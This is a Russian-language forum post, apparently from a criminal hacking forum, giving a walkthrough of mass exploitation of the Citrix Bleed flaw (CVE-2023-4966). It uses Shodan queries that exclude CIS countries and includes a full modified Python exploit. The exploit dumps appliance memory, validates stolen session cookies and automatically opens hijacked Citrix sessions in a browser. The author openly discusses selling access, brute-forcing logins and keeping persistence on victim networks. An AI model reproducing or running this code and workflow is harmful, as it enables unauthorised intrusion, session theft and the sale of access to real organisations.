Всем привет!
Пока многие отходят от новогодних праздников, решил написать статью про нашумевшую CVE-2023-4966. У многих возникали с ней проблемы, в том числе и у меня. Так что я решил подробнее разобраться в вопросе и поделиться с Вами) Сразу скажу, что хороших доступов, которые можно продать, там почти не осталось. Но тем не менее, там есть те, на которых можно совершенствовать свои навыки в пентесте, а это тоже дорогого стоит. Так что давайте приступим.
- Что представляет из себя CITRIX BLEED
- Разведка
- Эксплуатация
- Автоматизация
CVE-2023-4966 aka CITRIX BLEED aka цитрикс блэт
Немного теории
Citrix NetScaler ADC (Application delivery controller) — многофункциональное решение, которое в своей максимальной редакции обеспечивает три важнейшие сетевые функции — балансировку нагрузки сетевых приложений (load balancing), "безопасность" приложений и ресурсов (firewall), организацию удаленного доступа к корпоративной сети предприятия (vpn service). И как раз за организацию этого удаленного доступа отвечает Citrix NetScaler Gateway, он позволяет получать "безопасный" удаленный доступ через один URL к приложениям и данным, которые находятся в ЦОДе или облаке.Cама уязвимость затрагивает эти продукты. Каким образом она это делает?
Принцип работы citrx bleed
О принципе её работы хорошо рассказали западные ресёрчеры: https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966Но вкратце, это примитивное переполнение буффера в http заголовке, позволяющее сдампить память и получить из неё session token (cookie).
Разведка. Находим хосты с citrix
Есть разные методы нахождения хостов, на которых есть citrix. Основные из них - это сканирование, либо использование таких сайтов как shodan, zoomeye, censys, fofa и прочие, их сейчас очень много. Сканирование хоть и является самым эффективным способом, но я выбрал старый добрый шодан для своих дел, т.к. на сканирование нужны сервера, деньги и много времени. Вообще, на шодан тоже нужны деньги, но добрый дядя DOC любезно предоставил мне shodan api key бесплатно в раздаче. Большое ему спасибо! Заходим в терминал, прописываем:
shodan init "наш api key"К сожалению, шодан пока не находит заведомо уязвимые к citrix bleed хосты по запросу "vuln:CVE-2023-4966", поэтому искать их нам придется самим.
Наш search query (запрос к апи шодана) выглядит следующим образом:
'http.favicon.hash:-1292923998, -1166125415 -country:RU,UA,KZ,BY' - мы будем искать хосты по хэшу http иконки цитрикса, которые не находятся в СНГ.Далее нам нужно выгрузить все результаты:
shodan download --limit -1 citrixhosts 'http.favicon.hash:-1292923998,-1166125415 -country:RU,UA,KZ,BY' Здесь мы указали limit -1, чтобы скачать все результаты. После этого в файле citrixhosts.json.gz появятся результаты.
Теперь парсим ip из результатов таким образом:
shodan parse --fields ip_str citrixhosts.json.gz > citrixhosts.txtВсе айпишники с цитриксом у нас теперь в citrixhosts.txt. Как это всё выглядит:
(в лимите я указал 1, чтобы всё заново не парсить)
Эксплуатация
Так, отлично, цели у нас есть. Далее мы сканируем их на наличие уязвмимости. Благо для этого на гитхабе лежит эксплоит клац, который дампит память и сразу проверяет куки на валидность, очень удобно!Качаем, куда Вам необходимо:
git clone https://github.com/Chocapikk/CVE-2023-4966cd CVE-2023-4966Запускаем:
OPENSSL_CONF=./openssl.cnf python3 exploit.py -f "путь к нашему citrixhosts" --only-validПошла жара, как говорится. Теперь мы видим уязвимые хосты и куки к ним. Для захода по куки будем использовать cookie quick manager. Ставим всё как у меня и обновляем страничку:
Теперь мы должны видеть окно захода в цитрикс. При заходе лучше по возможности выбирать "use light version", т.к. удалённый рабочий стол будет открываться в браузере и будет возможность передачи файлов и буффера обмена.
Но не везде есть такая функция, поэтому мы качаем citrix workspace для нужной платформы и запускаемся через него:
https://www.citrix.com/downloads/workspace-app/ Если не получается зайти через куки, то возможны следующие причины:
- Куки могли умереть. В этой ситуации мы повторно запускаем эксплоит для данного хоста:
OPENSSL_CONF=./openssl.cnf python3 exploit.py -u https://target.example.com
Если выдает валидные куки, супер, пытаемся зайти по ним. Если нет, не судьба.
- Нас редиректнуло на домен. Тогда для этого домена тоже нужно добавить куки.
Ещё частенько бывает, что после захода с валидными куки опять требуется какой-то логин, пароль, домен, олигофрен и прочее. Тут ничего не поделаешь, только брутить, лол.
Кстати, мой фейл был в том, что я сначала использовал эксплойт от assetnote, который просто дампил память. А я брал оттуда невалидные куки и пытался зайти) Один раз даже получилось, но я забил на этот цитрикс на время. А вкусных доступов становилось всё меньше и меньше...
Так, куки летят, по ним даже получается зайти! Казалось бы, мы в шоколадке,
Автоматизируем процесс
Оказывается, что вбивать куки - очень выматывающее занятие. Да, интересное, но переключать все эти вкладки и копировать туда-сюда... А когда на таргете ещё ничего нет... Мартышкин труд в общем. Но мы же на то и хацкеры, чтобы автоматизировать рутину, а потом получать доступы и кайфовать
Поэтому, для этих целей давайте допишем эксплоит от Chokapikk`а, чтобы дополнительно выполнялись следующие действия:
- При нахождении таргета с валидными куки будет открываться окно браузера, в котором и откроется сессия citrix с нашими куки. Делать это будем через библиотеку selenium. Также, с помощью библиотеки threading создадим семафор для синхронизации наших сессий. Чтобы наша виртуалка или vps`ка не откинулась от количества доступов короче)
- В новый txt будут записываться все ipшники, которые уязвимы к citrix bleed. Независимо от того, валидные там куки или нет. Это нужно для того, чтобы в дальнейшем повторно эксплуатировать citrix bleed на этих таргетах, ведь наши доступы зависят от того, работает ли сотрудник корпы.
Полный исходный код:
Python:
# https://github.com/Chocapikk/CVE-2023-4966
# xss.pro dreamcore183
import re
import sys
import time #
import hexdump
import argparse
import requests
from rich.console import Console
from urllib.parse import urlparse
from alive_progress import alive_bar
from typing import List, Tuple, Optional, TextIO
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Semaphore #
from selenium import webdriver #
warnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)
class CitrixMemoryDumper:
def __init__(self):
self.console = Console()
self.parser = argparse.ArgumentParser(description='Citrix ADC Memory Dumper')
self.setup_arguments()
self.max_workers = self.args.max_workers #
self.max_sessions = self.args.max_sessions #
self.session_semaphore = Semaphore(self.max_sessions) #
self.results: List[Tuple[str, str]] = []
self.output_file: Optional[TextIO] = None
if self.args.output:
self.output_file = open(self.args.output, 'w')
self.output_vuln_hosts: Optional[TextIO] = None #
if self.args.outvulnhosts: # если будем писать уязвимые хосты в файл
self.output_vuln_hosts = open(self.args.outvulnhosts, 'w') #
def setup_arguments(self) -> None:
self.parser.add_argument('-u', '--url', help='The Citrix ADC / Gateway target (e.g., https://192.168.1.200)')
self.parser.add_argument('-f', '--file', help='File containing a list of target URLs (one URL per line)')
self.parser.add_argument('-o', '--output', help='File to save the output results')
self.parser.add_argument('-r', '--run-sessions', action='store_true', help='Run sessions in browser') #
self.parser.add_argument('-m', '--max-sessions', help='Max browser sessions. Default=3', default=3, type=int) #
self.parser.add_argument('-w', '--max-workers', help='Max workers. Default=300', default=300, type=int) #
self.parser.add_argument('-t', '--outvulnhosts', help='File to save vulnerable hosts') #
self.parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose mode')
self.parser.add_argument('--only-valid', action='store_true', help='Only show results with valid sessions')
self.args = self.parser.parse_args()
def print_results(self, header: str, result: str) -> None:
if self.args.only_valid and "[+]" not in header:
return
formatted_msg = f"{header} {result}"
self.console.print(formatted_msg, style="white")
if self.output_file:
self.output_file.write(result + '\n')
def normalize_url(self, url: str) -> str:
if not url.startswith("http://") and not url.startswith("https://"):
url = f"https://{url}"
parsed_url = urlparse(url)
normalized_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
return normalized_url
def dump_memory(self, url: str) -> None:
full_url = self.normalize_url(url)
headers = {
"Host": "a" * 24576
}
try:
r = requests.get(
f"{full_url}/oauth/idp/.well-known/openid-configuration",
headers=headers,
verify=False,
timeout=10,
)
content_bytes = r.content
if r.status_code == 200 and content_bytes:
if b"\x00"*16 in content_bytes:
if self.output_vuln_hosts: #
self.output_vuln_hosts.write(f"{url}\n")
self.output_vuln_hosts.flush()
cleaned_content = self.clean_bytes(content_bytes)
for _ in range(10):
cleaned_content = cleaned_content.replace(b'a'*65, b'').replace(b'a'*32, b'')
content_bytes = content_bytes.replace(b'a'*65, b'').replace(b'a'*32, b'')
if self.args.verbose and self.args.url:
self.results.append(("[bold blue][*][/bold blue]", f"Memory Dump for {full_url}"))
hex_output = hexdump.hexdump(content_bytes, result='return').strip()
self.results.extend([("", line) for line in hex_output.splitlines()])
self.results.append(("[bold blue][*][/bold blue]", "End of Dump\n"))
session_tokens = self.find_session_tokens(content_bytes)
valid_token_found = False
for token in session_tokens:
if self.test_session_cookie(full_url, token):
valid_token_found = True
if self.args.run_sessions:
self.run_session(full_url=full_url, token=token) #
break
if not valid_token_found:
if not self.args.only_valid:
if self.args.url:
self.results.append(("[bold yellow][!][/bold yellow]", f"Partial memory dump but no valid session token found for {full_url}."))
else:
self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {full_url}, but no valid session token found."))
elif self.args.verbose and self.args.url:
self.results.append(("[bold red][-][/bold red]", f"Could not dump memory for {full_url}."))
except Exception as e:
if self.args.verbose and self.args.url:
self.results.append(("[bold red][-][/bold red]", f"Error processing {full_url}: {str(e)}."))
def clean_bytes(self, data: bytes) -> bytes:
return b''.join(bytes([x]) for x in data if 32 <= x <= 126)
def find_session_tokens(self, content_bytes: bytes) -> List[str]:
TOKEN_65_PATTERN = re.compile(rb'(?=([a-f0-9]{65}))')
TOKEN_32_PATTERN = re.compile(rb'(?=([a-f0-9]{32}))')
sessions_65 = [match.group(1).decode('utf-8') for match in TOKEN_65_PATTERN.finditer(content_bytes) if match.group(1).endswith(b'45525d5f4f58455e445a4a42') and not match.group(1).startswith(b'a'*65)]
sessions_32 = [match.group(1).decode('utf-8') for match in TOKEN_32_PATTERN.finditer(content_bytes) if not match.group(1).startswith(b'a'*32)]
combined_sessions = list(dict.fromkeys(sessions_65 + sessions_32))
return combined_sessions
def test_session_cookie(self, url: str, session_token: str) -> bool:
headers = {
"Cookie": f"NSC_AAAC={session_token}"
}
try:
r = requests.post(
f"{url}/logon/LogonPoint/Authentication/GetUserName",
headers=headers,
verify=False,
timeout=10,
)
if r.text.count('\n') > 0:
return False
if r.status_code == 200:
username = r.text.strip()
self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {url}, Cookie: {session_token}, Username: {username}"))
return True
else:
return False
except Exception as e:
if self.args.verbose and self.args.url:
self.results.append(("[bold red][-][/bold red]", f"Error testing cookie for {url}: {str(e)}."))
return False
def run_session(self, token: str, full_url: str) -> None: #
self.session_semaphore.acquire() # +1 к кол-ву сессий в данный момент
try:
options = webdriver.FirefoxOptions()
options.accept_insecure_certs = True
profile = webdriver.FirefoxProfile()
profile.accept_untrusted_certs = True
options.profile = profile
browser = webdriver.Firefox(options=options)
browser.get(full_url) # открываем сессию
browser.add_cookie({'name':'NSC_AAAC', 'value': str(token), 'sameSite': 'None', 'path': '/', 'secure': True, 'session': True}) # добавляем куки
browser.refresh()
while True: # ждём пока сессия закроется
try:
_ = browser.window_handles
except:
self.console.print(f"[*] Session has been closed. {full_url} {token}")
break
time.sleep(1)
except Exception as e:
self.console.print(f"[bold red][-][/bold red] {full_url} selenium error: {e}\n") # пишем ошибки
finally:
self.session_semaphore.release() # -1 к кол-ву сессий
def run(self) -> None:
if self.args.url:
self.dump_memory(self.args.url)
for header, result in self.results:
self.print_results(header, result)
elif self.args.file:
with open(self.args.file, 'r') as file:
urls = file.read().splitlines()
with ThreadPoolExecutor(max_workers=self.max_workers) as executor, alive_bar(len(urls), bar='smooth', enrich_print=False) as bar:
futures = {executor.submit(self.dump_memory, url): url for url in urls}
for future in as_completed(futures):
for header, result in self.results:
self.print_results(header, result)
self.results.clear()
bar()
else:
self.console.print("[bold red][-][/bold red] URL or File must be provided.", style="white")
sys.exit(1)
if self.output_file:
self.output_file.close()
if self.output_vuln_hosts: # закрываем файл с уязвимыми хостами
self.output_vuln_hosts.close() #
if __name__ == "__main__":
dumper = CitrixMemoryDumper()
dumper.run()
Запускать всю эту солянку мы будем в два этапа. Сначала отсканируем citrixhosts на уязвимые таргеты и запишем их в новый файл:
OPENSSL_CONF=./openssl.cnf python exp.py -f "путь к файлу citrixhosts" -w "кол-во воркеров для скана. по умолчанию 300." -t "путь к файлу, куда будут записываться уязвимые таргеты" -vЗатем запускаем второй раз, но уже с другими параметрами. Теперь в браузере будут открываться сессии citrx:
OPENSSL_CONF=./openssl.cnf python exp.py -f "путь к файлу с уязвимыми таргетами" -r -w "кол-во воркеров" -m "макс. кол-во открытых сессий. по умолчанию 3." --only-valid С помощью аргумента -r будут запускаться сессии.
Количество воркеров лучше указывать в пределах 100, чтобы куки быстро не умирали.
Максимальное количество сессий зависит от ваших мощностей, экспериментируете сами.
Для установки качаем приложенный снизу архив и распаковываем. Пароль местный.
В папке с эксплоитом прописываем в терминале:
pip install -r requirements.txtЗапускаем как показано выше.
Что дальше?
После получения валидных сессий, ищем удалённые рабочие столы и подключаемся к ним. Однкако не всегда это может получиться из-за данной ошибки:
Для её решения нужно выполнить следующие действия:
- Найти в гугле по имени ssl сертификат в формате PEM
- Сохранить сертификат с расширением .crt
- Из-под рута копируем сертификат в
/opt/Citrix/ICAClient/keystore/cacerts/ - Прописываем
sudo /opt/Citrix/ICAClient/util/ctx_rehash - Подключаемся заново
Теперь нам бы желательно сохранить доступ, чтобы потом спокойно осмотреться. Дальнейшее продвижение достойно отдельной статьи, да и я сам пока что разбираюсь в этом. Если проявите интерес, постараюсь написать продолжение! До новых встреч